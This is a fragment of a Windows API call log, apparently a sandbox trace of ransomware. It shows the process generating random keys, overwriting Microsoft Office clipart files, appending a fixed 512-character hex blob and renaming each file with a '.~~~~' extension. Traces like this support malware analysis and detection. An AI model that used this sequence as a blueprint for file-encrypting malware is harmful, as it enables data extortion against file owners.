	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b44d8
	[0119.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.919] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.920] GetLastError () returned 0x0
	[0119.920] GetLastError () returned 0x0
	[0119.920] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.920] GetLastError () returned 0x0
	[0119.920] GetLastError () returned 0x0
	[0120.001] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdd74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.001] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x228c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x228c, lpOverlapped=0x0) returned 1
	[0120.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.004] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.004] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.004] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.004] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.005] CloseHandle (hObject=0x13c) returned 1
	[0120.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.~~~~")) returned 1
	[0120.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.011] GetLastError () returned 0x0
	[0120.012] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942ca8) returned 1
	[0120.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.013] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.014] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24000373946) returned 1
	[0120.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb10317d0, dwHighDateTime=0x1d60e1e)) 
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9990
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9990 | out: hHeap=0x300000) returned 1
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0120.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.015] GetLastError () returned 0x0
	[0120.015] GetLastError () returned 0x0
	[0120.015] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.015] GetLastError () returned 0x0
	[0120.015] GetLastError () returned 0x0
	[0120.067] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffedcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.067] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1234, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x1234, lpOverlapped=0x0) returned 1
	[0120.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.076] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.076] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.076] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.076] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.076] CloseHandle (hObject=0x13c) returned 1
	[0120.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.~~~~")) returned 1
	[0120.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.079] GetLastError () returned 0x0
	[0120.079] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942ca8) returned 1
	[0120.081] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.081] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.081] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24007125926) returned 1
	[0120.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb10c9d50, dwHighDateTime=0x1d60e1e)) 
	[0120.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9b88
	[0120.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9b88 | out: hHeap=0x300000) returned 1
	[0120.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4bf8
	[0120.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.219] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.219] GetLastError () returned 0x0
	[0120.220] GetLastError () returned 0x0
	[0120.220] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.220] GetLastError () returned 0x0
	[0120.220] GetLastError () returned 0x0
	[0120.232] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdca4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.232] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x235c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x235c, lpOverlapped=0x0) returned 1
	[0120.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.242] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.242] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.245] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.245] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.248] CloseHandle (hObject=0x13c) returned 1
	[0120.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.~~~~")) returned 1
	[0120.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.402] GetLastError () returned 0x0
	[0120.403] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942ca8) returned 1
	[0120.404] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.404] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.404] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24039428093) returned 1
	[0120.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb13c38d0, dwHighDateTime=0x1d60e1e)) 
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9c68
	[0120.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9c68 | out: hHeap=0x300000) returned 1
	[0120.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4900
	[0120.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.405] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.405] GetLastError () returned 0x0
	[0120.405] GetLastError () returned 0x0
	[0120.405] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.405] GetLastError () returned 0x0
	[0120.405] GetLastError () returned 0x0
	[0120.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.409] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x19a, lpOverlapped=0x0) returned 1
	[0120.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.411] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.411] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.411] CloseHandle (hObject=0x130) returned 1
	[0120.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.~~~~")) returned 1
	[0120.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.413] GetLastError () returned 0x0
	[0120.413] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942ca8) returned 1
	[0120.414] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.414] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.415] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24040479965) returned 1
	[0120.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb13e9a30, dwHighDateTime=0x1d60e1e)) 
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9ca0
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9ca0 | out: hHeap=0x300000) returned 1
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5020
	[0120.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.415] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.416] GetLastError () returned 0x0
	[0120.416] GetLastError () returned 0x0
	[0120.416] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.416] GetLastError () returned 0x0
	[0120.416] GetLastError () returned 0x0
	[0120.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffeb3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.417] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x14d, lpOverlapped=0x0) returned 1
	[0120.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.419] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.419] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.419] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.420] CloseHandle (hObject=0x130) returned 1
	[0120.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.420] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.~~~~")) returned 1
	[0120.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.421] GetLastError () returned 0x0
	[0120.422] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942ca8) returned 1
	[0120.423] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.423] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.423] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24041295969) returned 1
	[0120.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb13e9a30, dwHighDateTime=0x1d60e1e)) 
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9cd8
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9cd8 | out: hHeap=0x300000) returned 1
